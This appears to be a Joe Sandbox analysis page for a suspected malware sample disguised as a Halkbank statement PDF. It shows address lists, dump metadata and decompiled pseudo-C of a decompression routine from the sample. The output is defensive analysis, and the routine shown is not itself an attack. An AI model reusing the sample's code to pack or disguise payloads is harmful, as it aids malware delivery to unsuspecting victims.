0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x00000000
0x004073c8
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00000000
0x0040753b
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x00000000
0x00407390
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction ID: 0a676f48c9952aad729ccf503b6a86ce95496029d8c73069f89f3073be052f6e
Opcode Fuzzy Hash: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction Fuzzy Hash: C3813471D08228DFDF24CFA8C8847ADBBB1FB44305F24816AD456BB281D778A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00406BB0 Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406BB0(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00407602))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12);
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
